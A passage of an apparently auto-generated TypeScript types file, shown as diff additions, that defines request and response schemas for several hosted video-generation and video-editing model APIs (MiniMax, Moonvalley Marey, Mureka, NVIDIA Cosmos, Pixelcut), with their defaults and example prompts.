{"file_name":"--prs89fkHtWW406fmEs__NRhTqNku.mp4","url":"https://v3b.fal.media/files/b/0aa46818/--prs89fkHtWW406fmEs__NRhTqNku.mp4","content_type":"video/mp4","file_size":6463396} + * @type object + */ + video: FileBc1Da386 + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null +} + +/** + * @description A single LoRA adapter to apply to the transformer. + * @type object + */ +export type LoRAInputE3F7634A = { + /** + * @description URL or HuggingFace repo id (owner/repo) of the LoRA weights. + * @example https://huggingface.co/owner/repo/resolve/main/lora.safetensors + * @type string + */ + path: string + /** + * @description Name of the LoRA weight file. Only used when `path` is a HuggingFace repo and it holds more than one LoRA. + */ + weight_name?: string | null + /** + * @description Strength of the LoRA (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputMinimaxH3TextToVideoLoraResolutionEnum = { + '480P': '480P', + '768P': '768P', + '2K': '2K', + '4K': '4K', +} as const + +export type InputMinimaxH3TextToVideoLoraResolutionEnumKey = + (typeof inputMinimaxH3TextToVideoLoraResolutionEnum)[keyof typeof inputMinimaxH3TextToVideoLoraResolutionEnum] + +export const inputMinimaxH3TextToVideoLoraAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputMinimaxH3TextToVideoLoraAspectRatioEnumKey = + (typeof inputMinimaxH3TextToVideoLoraAspectRatioEnum)[keyof typeof inputMinimaxH3TextToVideoLoraAspectRatioEnum] + +export type InputMinimaxH3TextToVideoLora = { + /** + * @description The resolution of the generated video. 480P and 768P are native generation modes; 2K and 4K upscale a 768P base result. + * @default '2K' + * @type string | undefined + */ + resolution?: InputMinimaxH3TextToVideoLoraResolutionEnumKey + /** + * @description Return the generated video as base64 instead of a CDN URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The duration of the video in seconds. + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description How much effort to spend rewriting the prompt before generation. 'disabled' skips prompt expansion. 'fast' returns in about a second. 'balanced' picks per request. 'quality' spends up to ~30s on a richer prompt. + * @default balanced + * @example disabled + * @example fast + * @example balanced + * @example quality + */ + prompt_expansion_mode?: string | null + /** + * @description List of LoRA adapters to apply to the transformer. + * @type array + */ + loras: LoRAInputE3F7634A[] + /** + * @description Optional URL of an audio clip at least 2 seconds long (maximum 15 MB) to pin to the generated soundtrack. Longer clips are trimmed to the generated video's length, keeping the beginning. The original audio replaces the output soundtrack, padded with silence if shorter than the video, without changing playback speed. Exceptionally high sample rates may be resampled to 96 kHz. Accepts an HTTP(S) URL or a base64 data URI. + */ + target_audio_url?: string | null + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputMinimaxH3TextToVideoLoraAspectRatioEnumKey + /** + * @description Text prompt for video generation + * @minLength 1 + * @maxLength 50000 + * @example A white kitten chases a butterfly across a sunlit garden. Gentle camera tracking, natural movement, soft afternoon light filtering through the leaves. + * @type string + */ + prompt: string + /** + * @description Random seed. A random seed is selected when omitted. + */ + seed?: number | null +} + +export type File506Ac9F1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMinimaxH3TextToVideoLora = { + /** + * @description The generated video + * @example {"file_name":"--prs89fkHtWW406fmEs__NRhTqNku.mp4","url":"https://v3b.fal.media/files/b/0aa46818/--prs89fkHtWW406fmEs__NRhTqNku.mp4","content_type":"video/mp4","file_size":6463396} + * @type object + */ + video: File506Ac9F1 + /** + * @description The prompt after expansion, as sent to the model. Null when prompt expansion was disabled, left the prompt unchanged, or was performed internally by MiniMax's hosted API. + */ + expanded_prompt?: string | null +} + +export type InputMireloAiSfx20VideoToVideo = { + /** + * @description Seconds of sound to generate, from 1 s to 600 s, clamped to the video's length. Over 10 s generates in 10 s windows. A video shorter than 1 s answers 400. + * @minimum 1 + * @maximum 600 + * @default 10 + * @type number | undefined + */ + duration?: number + /** + * @description Optional text guiding the soundtrack. Name sounds the picture does not show, such as off-screen sounds or an ambience bed, to have them worked into it. + * @example Distant police sirens, tires screeching on asphalt + */ + text_prompt?: string | null + /** + * @description Sounds to keep out of the result, as a short comma-separated list. + * @example music, crowd noise + */ + negative_prompt?: string | null + /** + * @description Number of variations to generate. Billed per sample. + * @minimum 1 + * @maximum 4 + * @default 2 + * @type integer | undefined + */ + num_samples?: number + /** + * @description Keep the speech in the input's audio and generate the rest of the soundtrack around it. False generates sound effects only and suppresses speech. + * @default true + * @type boolean | undefined + */ + preserve_speech?: boolean + /** + * @description Seed for generation. -1 or None for random. + */ + seed?: number | null + /** + * @description Video to add sound to: an http(s) URL, or a base64 data URI up to 8 MB. + * @example https://di3otfzjg1gxa.cloudfront.net/chase.mp4 + * @type string + */ + video_url: string +} + +export type Video72D1F0E8 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputMireloAiSfx20VideoToVideo = { + /** + * @description The input video with each generated soundtrack + * @example [{"content_type":"video/mp4","file_name":"generated_output_1.mp4","url":"https://di3otfzjg1gxa.cloudfront.net/chase_output_1.mp4"}] + * @type array + */ + video: Video72D1F0E8[] + /** + * @description The SFX model release that made the output + * @pattern ^sfx-[0-9]+\.[0-9]+$ + * @example sfx-2.0 + * @type string + */ + model: string +} + +export const inputMoonvalleyMareyI2VDurationEnum = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputMoonvalleyMareyI2VDurationEnumKey = + (typeof inputMoonvalleyMareyI2VDurationEnum)[keyof typeof inputMoonvalleyMareyI2VDurationEnum] + +export const inputMoonvalleyMareyI2VDimensionsEnum = { + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', + '1152x1152': '1152x1152', + '1536x1152': '1536x1152', + '1152x1536': '1152x1536', +} as const + +export type InputMoonvalleyMareyI2VDimensionsEnumKey = + (typeof inputMoonvalleyMareyI2VDimensionsEnum)[keyof typeof inputMoonvalleyMareyI2VDimensionsEnum] + +export type InputMoonvalleyMareyI2V = { + /** + * @description The prompt to generate a video from + * @example Detailed Description: In a hidden jungle grotto, a majestic waterfall plunges into a dark, serene pool below. Ethereal sunbeams slice through the dense canopy high above, illuminating the swirling mist generated by the powerful cascade. The light rays dance across the scene, highlighting the vibrant green foliage that clings to the dark, wet rock walls. The constant roar of the falling water echoes through the secluded space, as the surface of the pool ripples and churns from the impact, creating a mesmerizing display of nature's raw power and tranquil beauty. Background: Brilliant sunbeams pierce through an opening in the dense jungle canopy, their ethereal rays shifting and shimmering as they cut through the misty air. Middleground: A powerful column of white water cascades down a dark, foliage-covered cliff face, creating a stark contrast with the shadowy recesses of the grotto. Foreground: The waterfall crashes into a dark, churning pool of water, sending up a fine spray and creating ever-expanding ripples across the surface. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video. + * @default '5s' + * @type string | undefined + */ + duration?: InputMoonvalleyMareyI2VDurationEnumKey + /** + * @description The URL of the image to use as the first frame of the video. + * @example https://d1kaxrqq3vfrw5.cloudfront.net/fal-launch-assets/guide-assets/fal-i2v-example-input.png + * @type string + */ + image_url: string + /** + * @description The dimensions of the generated video in width x height format. + * @default '1920x1080' + * @type string | undefined + */ + dimensions?: InputMoonvalleyMareyI2VDimensionsEnumKey + /** + * @description Controls how strongly the generation is guided by the prompt (0-20). Higher values follow the prompt more closely. + */ + guidance_scale?: number | null + /** + * @description Seed for random number generation. Use -1 for random seed each run. + * @default -1 + */ + seed?: number | null + /** + * @description Negative prompt used to guide the model away from undesirable features. + * @default low-poly, flat shader, bad rigging, stiff animation, uncanny eyes, low-quality textures, looping glitch, cheap effect, overbloom, bloom spam, default lighting, game asset, stiff face, ugly specular, AI artifacts + */ + negative_prompt?: string | null +} + +export type FileE17A5226 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMoonvalleyMareyI2V = { + /** + * @description The generated video. + * @type object + */ + video: FileE17A5226 +} + +export type InputMoonvalleyMareyMotionTransfer = { + /** + * @description The prompt to generate a video from + * @example Detailed Description: A fast, smooth dolly shot glides forward at water level through a monumental, minimalist colonnade. The imposing, symmetrical rows of brutalist marble columns rush past on either side, their strong vertical lines creating a sense of powerful, constant motion. The dark, glassy water of a central pool perfectly reflects the towering structures, with gentle ripples disturbing the mirror image as the camera advances. The scene is cinematic and moody, with the light-colored stone contrasting against the dark water and the pale sky visible at the far end of the architectural tunnel. shot on 35mm, film, organic, analog, motion blur + * + * Background: A pale, overcast sky and a distant treeline are framed by the opening at the end of the colonnade, growing larger as the camera moves forward. + * + * Middleground: The two rows of massive, geometric columns recede into the distance, their uniform shapes creating a hypnotic, rhythmic pattern that rushes past the lens. + * + * Foreground: The camera skims just above the surface of the dark, rippling water, which reflects the blurred motion of the columns passing on the left and right. + * @type string + */ + prompt: string + /** + * @description The URL of the video to use as the control video. + * @example https://d1kaxrqq3vfrw5.cloudfront.net/fal-launch-assets/guide-assets/fal-motion-transfer-input-5s.mp4 + * @type string + */ + video_url: string + /** + * @description Seed for random number generation. Use -1 for random seed each run. + * @default -1 + */ + seed?: number | null + /** + * @description Optional reference image URL to use for pose control or as a starting frame + */ + reference_image_url?: string | null + /** + * @description Negative prompt used to guide the model away from undesirable features. + * @default low-poly, flat shader, bad rigging, stiff animation, uncanny eyes, low-quality textures, looping glitch, cheap effect, overbloom, bloom spam, default lighting, game asset, stiff face, ugly specular, AI artifacts + */ + negative_prompt?: string | null + /** + * @description Optional first frame image URL to use as the first frame of the generated video + * @default https://video-editor-files-prod.s3.us-east-2.amazonaws.com/users/1e4d46df-0702-4491-95ce-763592f33f34/uploaded-images/9b9dce1c-abd0-46c0-bac9-9454f8893b06/original + */ + first_frame_image_url?: string | null +} + +export type File3890Fd0B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMoonvalleyMareyMotionTransfer = { + /** + * @description The generated video. + * @type object + */ + video: File3890Fd0B +} + +export type InputMoonvalleyMareyPoseTransfer = { + /** + * @description The prompt to generate a video from + * @example Detailed Description: A venerable tribal chief, his weathered face marked with dark, ritualistic paint, stands proudly against a jungle backdrop. His elaborate headdress, a magnificent creation of numerous feathers, beads, and a central polished stone, sways gently with his movements. His initial stern expression softens into a confident smile as he begins to speak, his lips moving with unspoken words of wisdom or command. In a single, fluid motion, he raises his hand and gives a decisive wave, a gesture of both greeting and authority that underscores his leadership role within the tribe. + * + * Background: A dense tropical rainforest is blurred into a soft, verdant backdrop, with muted greens and browns suggesting a lush, humid environment. + * + * Middleground: The chief is the central focus, his head crowned by the large, intricate feathered headdress that moves subtly as he speaks. His shoulders and torso are visible, adorned with traditional necklaces. + * + * Foreground: His hand lifts into the frame, palm open, executing a single, confident wave toward the viewer before lowering again. The closest feathers of his headdress rustle with the motion. + * @type string + */ + prompt: string + /** + * @description The URL of the video to use as the control video. + * @example https://d1kaxrqq3vfrw5.cloudfront.net/fal-launch-assets/guide-assets/fal-pose-transfer-input.mp4 + * @type string + */ + video_url: string + /** + * @description Seed for random number generation. Use -1 for random seed each run. + * @default -1 + */ + seed?: number | null + /** + * @description Optional reference image URL to use for pose control or as a starting frame + */ + reference_image_url?: string | null + /** + * @description Negative prompt used to guide the model away from undesirable features. + * @default low-poly, flat shader, bad rigging, stiff animation, uncanny eyes, low-quality textures, looping glitch, cheap effect, overbloom, bloom spam, default lighting, game asset, stiff face, ugly specular, AI artifacts + */ + negative_prompt?: string | null + /** + * @description Optional first frame image URL to use as the first frame of the generated video + */ + first_frame_image_url?: string | null +} + +export type File2924949A = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMoonvalleyMareyPoseTransfer = { + /** + * @description The generated video. + * @type object + */ + video: File2924949A +} + +export const inputMoonvalleyMareyT2VDurationEnum = { + '5s': '5s', + '10s': '10s', +} as const + +export type InputMoonvalleyMareyT2VDurationEnumKey = + (typeof inputMoonvalleyMareyT2VDurationEnum)[keyof typeof inputMoonvalleyMareyT2VDurationEnum] + +export const inputMoonvalleyMareyT2VDimensionsEnum = { + '1920x1080': '1920x1080', + '1152x1152': '1152x1152', + '1536x1152': '1536x1152', + '1152x1536': '1152x1536', +} as const + +export type InputMoonvalleyMareyT2VDimensionsEnumKey = + (typeof inputMoonvalleyMareyT2VDimensionsEnum)[keyof typeof inputMoonvalleyMareyT2VDimensionsEnum] + +export type InputMoonvalleyMareyT2V = { + /** + * @description The prompt to generate a video from + * @example Detailed Description: A small, white paper boat, with one corner engulfed in bright orange flames, drifts precariously across a dark puddle on wet asphalt. As raindrops fall, they create ever-expanding ripples on the water's surface, gently rocking the fragile vessel and causing the fiery reflection below to dance and shimmer. The flickering flame slowly consumes the paper, charring the edges black as the boat becomes waterlogged, beginning to sink in a poignant slow-motion battle between fire and water. Background: The background is softly blurred, suggesting an overcast day with out-of-focus foliage, enhancing the scene's intimate and melancholic mood. Middleground: Raindrops continuously strike the puddle's surface, creating concentric ripples that gently push the boat along its short, determined voyage. Foreground: The burning paper boat floats in sharp focus, its bright, flickering flame casting a warm, dramatic glow that reflects and distorts on the dark, wet surface of the asphalt. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video. + * @default '5s' + * @type string | undefined + */ + duration?: InputMoonvalleyMareyT2VDurationEnumKey + /** + * @description The dimensions of the generated video in width x height format. + * @default '1920x1080' + * @type string | undefined + */ + dimensions?: InputMoonvalleyMareyT2VDimensionsEnumKey + /** + * @description Controls how strongly the generation is guided by the prompt (0-20). Higher values follow the prompt more closely. + */ + guidance_scale?: number | null + /** + * @description Seed for random number generation. Use -1 for random seed each run. + * @default -1 + */ + seed?: number | null + /** + * @description Negative prompt used to guide the model away from undesirable features. + * @default low-poly, flat shader, bad rigging, stiff animation, uncanny eyes, low-quality textures, looping glitch, cheap effect, overbloom, bloom spam, default lighting, game asset, stiff face, ugly specular, AI artifacts + */ + negative_prompt?: string | null +} + +export type FileB12Ec03D = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputMoonvalleyMareyT2V = { + /** + * @description The generated video. + * @type object + */ + video: FileB12Ec03D +} + +export const inputMurekaApiGenerateLyricsVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '3:4': '3:4', + '4:3': '4:3', +} as const + +export type InputMurekaApiGenerateLyricsVideoAspectRatioEnumKey = + (typeof inputMurekaApiGenerateLyricsVideoAspectRatioEnum)[keyof typeof inputMurekaApiGenerateLyricsVideoAspectRatioEnum] + +export const inputMurekaApiGenerateLyricsVideoLayoutEnum = { + layout_1: 'layout_1', + layout_2: 'layout_2', + layout_3: 'layout_3', + layout_4: 'layout_4', + layout_5: 'layout_5', + layout_6: 'layout_6', + layout_7: 'layout_7', +} as const + +export type InputMurekaApiGenerateLyricsVideoLayoutEnumKey = + (typeof inputMurekaApiGenerateLyricsVideoLayoutEnum)[keyof typeof inputMurekaApiGenerateLyricsVideoLayoutEnum] + +export type InputMurekaApiGenerateLyricsVideo = { + /** + * @description First lyric row to include, starting at 1. Must be paired with lyrics_end_row and cannot be combined with a time selection. Provide either both lyric-row fields or both selection_start and selection_end. One complete pair is required. + */ + lyrics_start_row?: number | null + /** + * @description Optional title displayed in the lyrics video. + */ + title?: string | null + /** + * @description Background image ID returned by /files/upload with purpose='lyrics-video'. + */ + background_id?: string | null + /** + * @description Generated audio ID from song_id in a song or instrumental response. Provide exactly one of song_id or upload_audio_id. + */ + song_id?: string | null + /** + * @description Audio ID returned by /files/upload with purpose='audio'. Provide exactly one of song_id or upload_audio_id. + */ + upload_audio_id?: string | null + /** + * @description End of the included audio range in milliseconds. Must be paired with selection_start and cannot be combined with lyric-row selection. Provide either both time-selection fields or both lyrics_start_row and lyrics_end_row. One complete pair is required. + */ + selection_end?: number | null + /** + * @description Output video aspect ratio. + * @default '9:16' + * @type string | undefined + */ + aspect_ratio?: InputMurekaApiGenerateLyricsVideoAspectRatioEnumKey + /** + * @description Visual layout template for the lyrics video. + * @default 'layout_1' + * @type string | undefined + */ + layout?: InputMurekaApiGenerateLyricsVideoLayoutEnumKey + /** + * @description Start of the included audio range in milliseconds. Must be paired with selection_end and cannot be combined with lyric-row selection. Provide either both time-selection fields or both lyrics_start_row and lyrics_end_row. One complete pair is required. + */ + selection_start?: number | null + /** + * @description Last lyric row to include. Must be paired with lyrics_start_row and cannot be combined with a time selection. Provide either both lyric-row fields or both selection_start and selection_end. One complete pair is required. + */ + lyrics_end_row?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional public HTTPS URL or data URI for a JPG, PNG, or WebP cover. Not supported with layout_1. + */ + cover_url?: string | null +} + +export type FileD25Ee414 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputMurekaApiGenerateLyricsVideo = { + /** + * @description The generated video file. + * @type object + */ + video: FileD25Ee414 +} + +export type ImageSize124791D5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputNvidiaCosmos3SuperImageToVideoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputNvidiaCosmos3SuperImageToVideoImageSizeKey = + (typeof inputNvidiaCosmos3SuperImageToVideoImageSize)[keyof typeof inputNvidiaCosmos3SuperImageToVideoImageSize] + +export type InputNvidiaCosmos3SuperImageToVideo = { + /** + * @description If true, the Cosmos3-Nano Reasoner (a VLM that sees the first frame) rewrites the prompt into the dense caption Cosmos3 was trained on. The app starts a local Reasoner by default, or uses COSMOS_PROMPT_UPSAMPLER_BASE_URL when configured. Falls back to the raw prompt if expansion fails. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Maximum agentic prompt stages when agentic generation is enabled. + * @minimum 1 + * @maximum 3 + * @default 2 + * @type integer | undefined + */ + agentic_max_iterations?: number + /** + * @description Enable the iterative Cosmos agentic loop: prompt upsampling, candidate video generation, VLM critique of sampled frames, and prompt rewrite. Each candidate is a full render, so this is substantially slower and costlier than a single generation. + * @default false + * @type boolean | undefined + */ + enable_agentic_generation?: boolean + /** + * @description Number of denoising steps. More steps yield higher quality but take longer. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description URL of the conditioning first-frame image for the video. + * @example https://storage.googleapis.com/falserverless/example_inputs/hunyuan_i2v.jpg + * @type string + */ + image_url: string + /** + * @description The size of the generated video. The request is clamped and snapped to the nearest supported NVIDIA tier (256p/480p/720p) and aspect ratio. + * @default {"height":480,"width":832} + * @example {"height":480,"width":832} + */ + image_size?: + | ImageSize124791D5 + | InputNvidiaCosmos3SuperImageToVideoImageSizeKey + /** + * @description Content to steer the generation away from (artifacts, unwanted motion). Defaults to NVIDIA's recommended i2v negative prompt; pass an empty string to disable. + * @maxLength 2048 + * @default 'The video captures a series of frames showing macroblocking artifacts, chromatic aberration, high-frequency noise, and rolling shutter distortion. It includes static with no motion, motion blur, over-saturation, shaky footage, low resolution, grainy texture, pixelated images, poorly lit areas, underexposed and overexposed scenes, poor color balance, washed out colors, choppy sequences, jerky movements, low frame rate, bit-depth compression artifacts, color banding, unnatural transitions, outdated special effects, fake elements, unconvincing visuals, poorly edited content, jump cuts, hard cut, visual noise, and flickering. It features moiré patterns, edge halos, and temporal aliasing. Furthermore, the content defies common sense, generating illogical scenarios, nonsensical entities, absurd character behaviors, and conceptual paradoxes that violate basic human reasoning and everyday reality. The video looks like a surreal or glitchy hallucination. Overall, the video is of poor quality.' + * @example The video captures a series of frames showing macroblocking artifacts, chromatic aberration, high-frequency noise, and rolling shutter distortion. It includes static with no motion, motion blur, over-saturation, shaky footage, low resolution, grainy texture, pixelated images, poorly lit areas, underexposed and overexposed scenes, poor color balance, washed out colors, choppy sequences, jerky movements, low frame rate, bit-depth compression artifacts, color banding, unnatural transitions, outdated special effects, fake elements, unconvincing visuals, poorly edited content, jump cuts, hard cut, visual noise, and flickering. It features moiré patterns, edge halos, and temporal aliasing. Furthermore, the content defies common sense, generating illogical scenarios, nonsensical entities, absurd character behaviors, and conceptual paradoxes that violate basic human reasoning and everyday reality. The video looks like a surreal or glitchy hallucination. Overall, the video is of poor quality. + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Classifier-free guidance scale. Higher values increase prompt adherence at the cost of diversity. + * @minimum 0 + * @maximum 20 + * @default 6 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Candidate videos to generate and judge per agentic iteration. The best candidate advances to the next rewrite stage. + * @minimum 1 + * @maximum 3 + * @default 2 + * @type integer | undefined + */ + agentic_samples_per_iteration?: number + /** + * @description Stop the agentic loop early when the critic score clears the strict quality threshold. + * @default true + * @type boolean | undefined + */ + agentic_early_stop?: boolean + /** + * @description Frames per second of the output video. + * @minimum 4 + * @maximum 60 + * @default 24 + * @type integer | undefined + */ + frames_per_second?: number + /** + * @description If `True`, the video is returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The same seed and prompt given to the same model version will produce the same video every time. + */ + seed?: number | null + /** + * @description Enable content moderation for the input prompt and image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of frames to generate. More frames yield a longer video. + * @minimum 5 + * @maximum 189 + * @default 189 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Text prompt describing the motion and scene of the video to generate. + * @minLength 1 + * @maxLength 4096 + * @example The camera slowly pushes in as the subject turns their head toward the light, hair drifting in a gentle breeze, dust motes floating through warm afternoon sun. + * @type string + */ + prompt: string +} + +export type VideoFileA1Cead9D = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputNvidiaCosmos3SuperImageToVideo = { + /** + * @description The seed used for generation. + * @example 1143 + * @type integer + */ + seed: number + /** + * @description The generated video. + * @example {"content_type":"video/mp4","url":"https://v3b.fal.media/files/b/0a8fc99c/cosmos3-i2v-example.mp4"} + * @type object + */ + video: VideoFileA1Cead9D +} + +export const inputPixelcutLoopingVideoMotionEnum = { + subtle: 'subtle', + spin: 'spin', +} as const + +export type InputPixelcutLoopingVideoMotionEnumKey = + (typeof inputPixelcutLoopingVideoMotionEnum)[keyof typeof inputPixelcutLoopingVideoMotionEnum] + +export const inputPixelcutLoopingVideoResolutionEnum = { + '480p': '480p', + '768p': '768p', + '1080p': '1080p', +} as const + +export type InputPixelcutLoopingVideoResolutionEnumKey = + (typeof inputPixelcutLoopingVideoResolutionEnum)[keyof typeof inputPixelcutLoopingVideoResolutionEnum] + +export type InputPixelcutLoopingVideo = { + /** + * @description Video duration in seconds + * @minimum 5 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Keep the generated audio track (off by default; the loop is silent) + * @default false + * @type boolean | undefined + */ + include_audio?: boolean + /** + * @description Input image the video starts and ends on (JPEG, PNG, or WebP) + * @example https://cdn3.pixelcut.app/fal/looping-video/model.jpg + * @example https://cdn3.pixelcut.app/fal/looping-video/shirt.jpg + * @type string + */ + image_url: string + /** + * @description Motion style: 'subtle' for gentle ambient movement, 'spin' for one full 360° revolution ending on the source frame + * @default 'subtle' + * @type string | undefined + */ + motion?: InputPixelcutLoopingVideoMotionEnumKey + /** + * @description Optional creative direction for the motion. Camera stays locked regardless. + * @maxLength 4000 + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Output resolution + * @default '1080p' + * @type string | undefined + */ + resolution?: InputPixelcutLoopingVideoResolutionEnumKey +} + +export type VideoEde5Ea96 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputPixelcutLoopingVideo = { + /** + * @description Looping MP4 that starts and ends on the input image + * @example {"content_type":"video/mp4","url":"https://cdn3.pixelcut.app/fal/looping-video/model.mp4"} + * @example {"content_type":"video/mp4","url":"https://cdn3.pixelcut.app/fal/looping-video/shirt.mp4"} + */ + video?: VideoEde5Ea96 | null +} + +/** + * @description RGB color. Model name is a FAL convention — renders as a color picker. + * @type object + */ +export type RGBColor = { + /** + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + b?: number + /** + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + r?: number + /** + * @minimum 0 + * @maximum 255 + * @default 0 + * @type integer | undefined + */ + g?: number +} + +export const inputPixelcutVideoBackgroundRemovalOutputFormat = { + webm_vp9: 'webm_vp9', + mp4_h264: 'mp4_h264', + mp4_h265: 'mp4_h265', + mov_proresks: 'mov_proresks', + mov_h265: 'mov_h265', + mkv_h264: 'mkv_h264', + mkv_h265: 'mkv_h265', + mkv_vp9: 'mkv_vp9', + gif: 'gif', +} as const + +export type InputPixelcutVideoBackgroundRemovalOutputFormatKey = + (typeof inputPixelcutVideoBackgroundRemovalOutputFormat)[keyof typeof inputPixelcutVideoBackgroundRemovalOutputFormat] + +export const inputPixelcutVideoBackgroundRemovalBackgroundEnum = { + transparent: 'transparent', + black: 'black', + white: 'white', + green: 'green', + blue: 'blue', + magenta: 'magenta', + custom: 'custom', +} as const + +export type InputPixelcutVideoBackgroundRemovalBackgroundEnumKey = + (typeof inputPixelcutVideoBackgroundRemovalBackgroundEnum)[keyof typeof inputPixelcutVideoBackgroundRemovalBackgroundEnum] + +/** + * @description Input model for video background removal. + * @type object + */ +export type InputPixelcutVideoBackgroundRemoval = { + /** + * @description Output video format. Auto-detected if not set (defaults to webm_vp9 for transparent). Transparent backgrounds need webm_vp9, mov_h265, mov_proresks, mkv_vp9 or gif. Transparent MOV is meant for Apple players and editing tools; browser previews, especially Chrome, may show edge halos or no transparency. Use webm_vp9 for transparent web playback. + */ + output_format?: InputPixelcutVideoBackgroundRemovalOutputFormatKey | null + /** + * @description Output background: transparent, a named preset color, or 'custom' to use the background_color color picker. + * @default 'transparent' + * @type string | undefined + */ + background?: InputPixelcutVideoBackgroundRemovalBackgroundEnumKey + /** + * @description URL of the input video + * @example https://cdn3.pixelcut.app/fal/video-background-removal/sample.mp4 + * @type string + */ + video_url: string + /** + * @description Custom solid background color (only used when background='custom'). + * @type object | undefined + */ + background_color?: RGBColor +} + +export type Video2D9Fbcb1 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output model for video background removal. + * @type object + */ +export type OutputPixelcutVideoBackgroundRemoval = { + /** + * @description Output video file + * @example 